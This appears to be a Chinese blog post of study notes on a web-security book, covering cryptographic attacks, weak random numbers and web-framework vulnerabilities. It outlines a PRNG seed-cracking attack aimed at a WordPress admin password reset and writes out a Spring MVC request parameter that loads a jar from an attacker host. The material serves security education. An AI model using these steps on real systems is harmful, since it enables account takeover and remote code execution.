《白帽子讲Web安全》11-12章

《白帽子讲Web安全》11-12章

11、加密算法与随机数

11.1、概述

常见的加密算法通常分为分组加密算法与流密码加密算法两种,两者的实现原理不同。

分组加密算法基于“分组”(block)进行操作,根据算法的不同,每个分组的长度可能不同。分组加密算法的代表有DES、3-DES、Blowfish、IDEA、AES等。下图演示了一个使用CBC模式的分组加密算法的加密过程。
在这里插入图片描述

分组加密算法有多种工作模式,每种模式在处理数据时有不同的特点和应用场景:

  1. 电子密码本模式(ECB):每个明文块独立加密,简单但不安全。
  2. 密文分组链接模式(CBC):每个明文块与前一个密文块进行异或运算后再加密,安全性较高。
  3. 密文反馈模式(CFB):将前一个密文块反馈到加密过程中,适合流数据加密。
  4. 输出反馈模式(OFB):类似CFB,但使用加密器的输出作为反馈,适合错误传播较少的场景。
  5. 计数器模式(CTR):将计数器的输出与明文块进行异或运算,支持并行处理。

流密码加密算法,则每次只处理一个字节,密钥独立于消息之外,两者通过异或实现加密与解密。流密码加密算法的代表有RC4、ORYX、SEAL 等。下图演示了流密码加密算法的加密过程。
在这里插入图片描述

针对加密算法的攻击,一般根据攻击者能获得的信息,可以分为:

  • 唯密文攻击:攻击者有一些密文,它们是使用同一加密算法和同一密钥加密的。这种攻击是最难的。
  • 已知明文攻击:攻击者除了能得到一些密文外,还能得到这些密文对应的明文。本章中针对流密码的一些攻击为已知明文攻击。
  • 选择明文攻击:攻击者不仅能得到一些密文和明文,还能选择用于加密的明文。
  • 选择密文攻击:攻击者可以选择不同的密文来解密。本章中所提到的“Padding Oracle Attack”就是一种选择密文攻击。

11.2、Stream Cipher Attack

11.2.1、Reused Key Attack

在流密码的使用中,最常见的错误便是使用同一个密钥进行多次加/解密。这将使得破解流 密码变得非常简单。这种攻击被称为“Reused Key Attack”,在这种攻击下,攻击者不需要知道密钥,即可还原出明文。

假设有密钥C,明文A,明文B,那么,XOR加密可表示为:
E(A) = A xor C E(B) = B xor C
密文是公之于众的,因此很容易就可计算:
E(A) xor E(B)
因为两个相同的数进行XOR运算结果为0,由此可得:
E(A) xor E(B)= (A xor C) xor (B xor c) = A xor B xor C xor C= A xor B
从而得到了:
E(A) xor E(B) = A xor B
这意味着4个数据中,只需要知道3个,就可以推导出剩下的一个。这个公式中密钥C在哪里?已经完全不需要了!

11.2.2、Bit-flipping Attack

在密码学中,攻击者在不知道明文的情况下,通过改变密文,使得明文按其需要的方式发生改变的攻击方式,被称为 Bit-flipping Attack。 解决 Bit-flipping攻击的方法是验证密文的完整性,最常见的方法是增加带有KEY的MAC(消息验证码,Message Authentication Code),通过MAC验证密文是否被篡改。
在这里插入图片描述

11.2.3、弱随机IV问题

在authcode()函数中,它默认使用了4字节的初始化向量Ⅳ(就是函数中的keyc),使得破解难度增大。但其实4字节的Ⅳ是很脆弱的,它不够随机,我们完全可以通过“暴力破解”的方式找到重复的IV。

11.3、WEP破解

WEP(Wired Equivalent Privacy,有线等效保密)协议是一种用于无线局域网(WLAN)的安全协议,旨在提供与有线网络相当的安全性。

  • 主要特点

    • 数据加密:WEP使用RC4流密码算法对数据进行加密,以防止非法用户窃听或侵入无线网络。
    • 认证方式:WEP支持两种认证方式:开放式系统认证(Open System Authentication)和共有密钥认证(Shared Key Authentication)。
    • 密钥长度:WEP通常使用40位或104位的密钥,加上24位的初始化向量(IV),形成64位或128位的加密密钥。
  • 工作原理

    • 加密过程:在数据传输前,WEP使用RC4算法生成一个伪随机密钥流,并将其与明文数据进行异或运算,生成密文。
    • 解密过程:接收方使用相同的密钥和RC4算法生成相同的密钥流,并将其与密文进行异或运算,恢复出明文。

WEP在加密过程中,有两个关键因素,一个是初始化向量Ⅳ,一个是对消息的CRC-32校验。而这两者都可以通过一些方法克服。

  1. 初始化向量(IV)重复:24位的IV长度不足,导致在繁忙的网络中IV可能重复,使得攻击者可以通过分析重复的IV破解密钥。
  2. IV一旦开始重复,就会使得“Reused Key Attack”成为可能。同时通过收集大量的数据包,找到相同的IV,构造出相同的CRC-32校验值,也可以成功实施“Bit-flipping Attack”。

11.4、ECB模式的缺陷

ECB模式(电码簿模式)是最简单的一种加密模式,它的每个分组之间相对独立,其加密过程如下:
在这里插入图片描述

分组加密算法除了算法本身,还包括一些通用的加密模式,不同的加密算法可以支持相同的加密模式。常见的加密模式有:ECB、CBC、CFB、OFB、CTR等。如果加密模式被攻击,不论加密算法的密钥有多长,都可能不再安全。

  • ECB模式(电码簿模式)
    • 独立性:每个分组之间相对独立。

    • 缺陷:由于分组的独立性,攻击者可以通过对调任意分组的密文来改变解密后的明文顺序,或替换某个分组的密文来改变对应的明文,而其他分组不受影响。

    • 安全风险:

      • 这种特性在某些场景下非常危险,例如在线支付应用中,攻击者可以通过替换支付金额的密文来伪造支付金额。
      • ECB模式会保留明文的统计特征,当分组较多时,可能暴露一些私密信息。
        在这里插入图片描述
    • 防御措施

      • 避免使用ECB模式:当需要加密的明文多于一个分组的长度时,应避免使用ECB模式,选择其他更加安全的加密模式,如CBC、CFB、OFB、CTR等。

11.5、Padding Oracle Attack

  • Padding Oracle Attack是一种利用密码填充验证漏洞的攻击方法,主要针对加密消息的填充验证过程进行攻击。其工作原理和关键点:

    1. 填充验证:在加密过程中,明文消息通常需要填充到特定长度,以适应加密算法的要求。常见的填充方式有PKCS#5和PKCS#7。
    2. 攻击原理:攻击者通过修改密文并观察解密过程中填充验证的反馈,逐步推断出原始明文。服务器在解密时,如果填充不正确,会返回错误信息,这些信息可以被攻击者利用。
    3. CBC模式:填充Oracle攻击通常针对使用CBC(Cipher Block Chaining)模式的加密算法。在CBC模式下,每个密文块都依赖于前一个密文块,这使得攻击者可以通过修改密文块来影响解密结果。
  • Padding Oracle Attack 的逐步推导过程可以分为以下几个步骤:

    1. 初始准备:

      • 攻击者需要获取到密文 ( C ) 和初始化向量 ( IV )(初始化向量往往以明文的形式发送)。
      • 假设密文被分成多个块 ( C_1, C_2, … , C_n ),每个块的长度与加密算法的块大小相同。
    2. 修改密文:

      • 攻击者从最后一个密文块 ( C_n ) 开始,逐步向前推导。
      • 攻击者构造一个新的密文块 ( C’_n ),并将其发送给服务器进行解密。
    3. 观察反馈:

      • 服务器在解密 ( C’_n ) 时,如果填充不正确,会返回错误信息。
      • 攻击者通过观察这些错误信息,判断填充是否正确。
    4. 推导明文:

      • 攻击者通过修改 ( C_{n-1} ) 的字节,尝试找到一个使得 ( C’_n ) 解密后填充正确的值。
      • 一旦找到正确的填充,攻击者可以推导出最后一个明文块的一个字节。
      • 通过重复这个过程,攻击者可以逐字节推导出整个明文块。
    5. 继续推导:

      • 攻击者将推导出的明文块与前一个密文块结合,继续推导前一个密文块的明文。
      • 这个过程一直持续到所有的密文块都被推导出来。

11.6、密钥管理

在密码学里有个基本的原则:密码系统的安全性应该依赖于密钥的复杂性,而不应该依赖于算法的保密性。

密钥管理中最常见的错误,就是将密钥硬编码在代码里。硬编码的密钥,在以下几种情况下可能被泄露。

  • 一是代码被广泛传播。这种泄露途径常见于一些开源软件;有的商业软件并不开源,但编译后的二进制文件被用户下载,也可能被逆向工程反编译后,泄露硬编码的密钥。如果一定要将密钥硬编码在代码中,我们尚可通过Diffie-Hellman交换密钥体系,生成公私钥来完成密钥的分发。
  • 二是软件开发团队的成员都能查看代码,从而获知硬编码的密钥。开发团队的成员如果流动性较大,则可能会由此泄露代码。这种情况只能通过改善密钥管理来保护密钥。

硬编码(Hardcoding)是指在编写程序时,将具体的数值、路径、参数等直接写入代码中,而不是通过变量、配置文件或参数来表示。

对于Web应用来说,常见的做法是将密钥(包括密码)保存在配置文件或者数据库中,在使用时由程序读出密钥并加载进内存。密钥所在的配置文件或数据库需要严格的控制访问权限,同时也要确保运维或DBA中具有访问权限的人越少越好。

在应用发布到生产环境时,需要重新生成新的密钥或密码,以免与测试环境中使用的密钥相同。

密钥的存储与集中管理:

密钥管理的主要目的,还是为了防止密钥从非正常的渠道泄露。定期更换密钥也是一种有效的做法。一个比较安全的密钥管理系统,可以将所有的密钥(包括一些敏感配置文件)都集中保存在一个服务器(集群)上,并通过Web Service的方式提供获取密钥的API。每个Web应用在需要使用密钥时,通过带认证信息的API请求密钥管理系统,动态获取密钥。Web应用不能把密钥写入本地文件中,只加载到内存,这样动态获取密钥最大程度地保护了密钥的私密性。密钥集中管理,降低了系统对于密钥的耦合性,也有利于定期更换密钥。

11.7、伪随机数问题

伪随机数,是通过一些数学算法生成的随机数,并非真正的随机数。密码学上的安全伪随机数应该是不可压缩的。对应的“真随机数”,则是通过一些物理系统生成的随机数,比如电压的波动、硬盘磁头读/写时的寻道时间、空中电磁波的噪声等。

11.7.1、弱伪随机数的麻烦

两个案例:

  1. Debian上的OpenSSL漏洞:

    • 问题:在Debian上的OpenSSL包中,伪随机数生成算法的唯一随机因子是进程ID(pid),其最大值为32768,范围较小,容易被遍历。
    • 影响:从2006年9月到2008年5月13日期间,在Debian平台上生成的所有SSH密钥、OpenSSL生成的密钥以及OpenVPN生成的密钥都可能被遍历,存在严重的安全漏洞。
  2. Sun Java 6 Update 11之前的createTempFile()漏洞:

    • 问题:在Sun Java 6 Update 11之前,createTempFile()方法生成的随机数在短时间内是顺序增长的,容易被预测。
    • 影响:如果临时文件名可以被预测,可能导致系统被破坏或为攻击者提供攻击途径。
    • 解决方案:官方通过增大随机数空间和修补顺序增长问题来解决这一漏洞。

如果使用弱伪随机数算法,可能会导致密码、密钥、SessionID、token等关键“secret”存在严重的安全问题。

11.7.2、时间真的随机吗

很多伪随机数算法与系统时间有关,而有的程序员甚至就直接使用系统时间代替随机数的生成。这样生成的随机数,是根据时间顺序增长的,可以从时间上进行预测,从而存在安全隐患。

在开发程序时,要切记:不要把时间函数当成随机数使用

11.7.3、破解伪随机数算法的种子

伪随机数是由数学算法实现的,它真正随机的地方在于“种子(seed)”。种子一旦确定后,再通过同一伪随机数算法计算出来的随机数,其值是固定的,多次计算所得值的顺序也是固定的

伪随机数生成算法存在安全隐患,攻击者可以通过猜解种子和跨应用攻击获取敏感信息,以PHP为例。

  1. 固定的伪随机数:

    • 在同一个进程中,如果使用相同的种子(seed),每次通过 mt_rand() 生成的值都是固定的。
    • PHP 4.2.0 之后,如果没有指定种子,系统会分配一个默认种子。在32位系统上,种子最大值为 (2^{32}),因此最多尝试 (2^{32}) 次即可破解种子。
  2. 攻击方法:

    • 猜解种子的值。
    • 使用 mt_srand() 对猜解出的种子进行播种。
    • 还原程序逻辑,计算出 mt_rand() 生成的伪随机数。
  3. 版本差异:

    • PHP 5.2.1 及之后的版本调整了随机数生成算法,但强度未变,因此需要在对应的PHP版本中运行猜解程序。
  4. Keep-Alive 技巧:

    • 通过发送 Keep-Alive HTTP 头,迫使服务器端使用同一PHP进程响应请求,从而只在一开始播种一次。
  5. 跨应用攻击:

    • 利用一个应用返回的随机数值,猜解其他应用生成的随机数值。

    • 例如,通过 phpBB 猜解种子,然后利用 WordPress 的密码取回功能猜解新生成的密码。

    • 具体攻击步骤:

      • 使用 Keep-Alive HTTP 请求在 phpBB2 论坛中搜索字符串。
      • 获取 search_id 并猜解随机数种子。
      • 发送重置 admin 密码的请求给 WordPress。
      • 构造确认链接并获取新生成的密码。
11.7.4、使用安全的随机数
  • 编程语言层面
    • 在Java中,可以使用java.security.SecureRandom
    • 在Linux中,可以使用/dev/random或者/dev/urandom来生成随机数,只需要读取即可
    • 在 PHP5.3.0及其之后的版本中,若是支持openSSL扩展,也可以直接使用函数来生成随机数
  • 算法层面
    • 可以通过多个随机数的组合,以增加随机数的复杂性。比如通过给随机数使用MD5算法后,再连接一个随机字符,然后再使用MD5算法一次。这些方法,也将极大地增加攻击的难度。

11.8、小结

在加密算法的选择和使用上,有以下最佳实践:
(1)不要使用ECB模式;
(2)不要使用流密码(比如 RC4);
(3〉使用HMAC-SHA1代替MD5(甚至是代替 SHA1);
(4)不要使用相同的key做不同的事情;
(5)salts与IⅣ需要随机产生;
(6)不要自己实现加密算法,尽量使用安全专家已经实现好的库;
(7)不要依赖系统的保密性。
当你不知道该如何选择时,有以下建议;
(1)使用CBC模式的AES256用于加密;
(2)使用HMAC-SHA512用于完整性检查;
(3)使用带salt的 SHA-256或 SHA-512用于Hashing。

12、Web框架安全

12.1、MVC框架安全

  1. MVC架构简介:

    • MVC代表Model-View-Controller,将Web应用分为三层:
      • View层:负责用户视图和页面展示。
      • Controller层:处理应用逻辑,接收用户请求并转发给Model层。
      • Model层:实现数据模型,处理数据。
  2. 数据流动:

    • 用户提交的数据依次流经View层、Controller层和Model层,返回时则反向流动。
  3. 安全方案设计:

    • 在MVC框架中,通过切片和过滤器等方式,可以对数据进行全局处理,便于设计安全方案。
    • 将Model层的任务交给View层处理会适得其反。
  4. 解决安全问题的策略:

    • 需要先明确要解决的问题,并在正确的地方进行数据安全检查。
    • 常见的Web安全威胁(如XSS、CSRF、SQL注入等)可以集中在MVC框架中解决。
  5. 框架实施安全方案的优势:

    • 统一解决安全问题,节省程序员工作量和人力成本。
    • 统一解决常见漏洞,避免遗漏。
    • 集中实施安全方案,确保所有基于框架的业务受益,提升安全方案的有效性。

12.2、模板引擎与XSS防御

在View层,可以解决XSS问题。在本书的“跨站脚本攻击”一章中,阐述了“输入检查”与“输出编码”这两种方法在XSS防御效果上的差异。XSS攻击是在用户的浏览器上执行的,其形成过程则是在服务器端页面渲染时,注入了恶意的HTML代码导致的。从MVC架构来说,是发生在View层,因此使用“输出编码”的防御方法更加合理,这意味着需要针对不同上下文的XSS攻击场景,使用不同的编码方式。

Velocity提供的处理机制,与Django的auto-escape所提供的机制是类似的,都只进行了HtmlEncode,而未细分编码使用的具体场景。不过幸运的是,在模板引擎中,可以实现自定义的编码函数,应用于不同场景。在 Django中是使用自定义filters,在Velocity中则可以使用“宏”(velocimacro)通过自定义的方法,使得XSS防御的功能得到完善;同时在模板系统中,搜索不安全的变量也有了依据,甚至在代码检测工具中,可以自动判断出需要使用哪一种安全的编码方法,这在安全开发流程中是非常重要的。

在其他的模板引擎中,也可以依据“是否有细分场景使用不同的编码方式”来判断XSS的安全方案是否完整。在很多Web框架官方文档中推荐的用法,就是存在缺陷的。Web框架的开发者在设计安全方案时,有时会缺乏来自安全专家的建议。所以开发者在使用框架时,应该慎重对待安全问题,不可盲从官方指导文档。

12.3、Web框架与CSRF防御

对于Web框架来说,可以自动地在所有涉及 POST的代码中添加 token,这些地方包括所有的 form表单、所有的 Ajax POST请求等。
完整的CSRF防御方案,对于Web框架来说有以下几处地方需要改动。
(1)在Session中绑定token。如果不能保存到服务器端Session中,则可以替代为保存到Cookie里。
(2)在form表单中自动填入token字段,比如<input type=hidden name="anti_csrf_token"value="$token” />
(3)在Ajax请求中自动添加 token,这可能需要已有的Ajax封装实现的支持。
(4)在服务器端对比 POST提交参数的token与 Session中绑定的 token是否一致,以验证CSRF攻击。

在Ajax 请求中,一般是插入一个包含了token 的HTTP头,使用HTTP头是为了防止 token泄密,因为一般的JavaScript无法获取到HTTP头的信息,但是在存在一些跨域漏洞时可能会出现例外。

12.4、HTTP Headers管理

对于框架来说,管理好跳转目的地址是很有必要的。一般来说,可以在两个地方做这件事情:
(1)如果Web框架提供统一的跳转函数,则可以在跳转函数内部实现一个白名单,指定跳转地址只能在白名单中;
(2)另一种解决方式是控制HTTP的Location字段,限制Location的值只能是哪些地址,也能起到同样的效果,其本质还是白名单。

在框架中实现的好处就是不用担心会有遗漏。就HttpOnly Cookie来说,它要求在所有服务器端设置该Cookie的地方都必须加上,这可能意味着很多不同的业务和页面,只要一个地方有遗漏,就会成为短板。当网站的业务复杂时,登录入口可能就有数十个,兼顾所有Set-Cookie页面会非常麻烦,因此在框架中解决将成为最好的方案。

12.5、数据持久层与SQL注入

使用ORM (Object/Relation Mapping)框架对SQL注入是有积极意义的。我们知道对抗SQL注入的最佳方式就是使用“预编译绑定变量”。在实际解决SQL注入时,还有一个难点就是应用复杂后,代码数量庞大,难以把可能存在SQL注入的地方不遗漏地找出来,而ORM框架为我们发现问题提供了一个便捷的途径。

使用Web框架提供的功能,在代码风格上更加统一,也更利于代码审计。

12.6、还能想到什么

其实选择是很多的,凡是在 Web框架中可能实现的安全方案,只要对性能没有太大的损耗,都应该考虑实施。

  1. 威胁模型:

    • 首先建立威胁模型,判断哪些威胁可以在框架中解决。
  2. 日志记录:

    • 设计安全解决方案时,需要保存安全检查日志。
    • 记录攻击者的IP、时间、UserAgent、目标URL、用户名等信息,有助于后期分析。
    • 考虑日志记录的频繁程度,避免误报和性能损失。
  3. 与时俱进:

    • 及时更新防御方案以应对新威胁,保持Web框架的生命力。
    • 通过“虚拟补丁”解决Oday漏洞,为Web应用提供保护。

12.7、web框架自身安全

12.7.1、Struts 2命令执行漏洞

CVE-2010-1870
Struts 2命令执行漏洞是指在Apache Struts 2框架中存在的安全漏洞,允许攻击者在受影响的服务器上执行任意命令或代码。攻击者可以通过特制的请求,利用Struts 2框架中的漏洞执行任意OGNL(Object-Graph Navigation Language)代码。

12.7.2、Struts 2的问题补丁
12.7.3、Spring MVC命令执行漏洞

CVE-2010-1622

由于Spring框架允许使用客户端所提供的数据来更新对象属性,而这一机制允许攻击者修改class.classloader加载对象的类加载器的属性,这可能导致执行任意命令。例如,攻击者可以将类加载器所使用的URL修改到受控的位置。

  1. 创建attack.jar 并可通过HTTP URL使用。这个jar必须包含以下内容:
    - META-INF/spring-form.tld,定义Spring 表单标签并指定实现为标签文件而不是类;
    - META-INF/tags/中的标签文件,包含标签定义(任意Java代码)。
  2. 通过以下HTTP参数向表单控制器提交HTTP请求:
    class.classLoader.URLs[0]=jar:http://attacker/attack.jar!/
    这会使用攻击者的URL覆盖WebappClassLoader 的 repositoryURLs属性的第0个元素。
  3. 之后org.apache.jasper.compiler.TldLocationsCache.scanJars()会使用 WebappClassLoader的URL解析标签库,会对TLD中所指定的所有标签文件解析攻击者所控制的jar。
12.7.4、Django命令执行漏洞

在Django 0.95版本中,Django在处理消息文件时存在问题,远程攻击者构建恶意.po文件,诱使用户访问处理,可导致以应用程序进程权限执行任意命令。

12.8、小结

Web框架为安全方案的设计提供了很多便利,好好利用它的强大功能,能够设计出非常优美的安全方案。但我们也不能迷信于Web框架本身。很多 Web框架提供的安全解决方案有时并不可靠,我们仍然需要自己实现一个更好的方案。同时 Web框架自身的安全性也不可忽视,作为一个基础服务,一旦出现漏洞,影响是巨大的。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值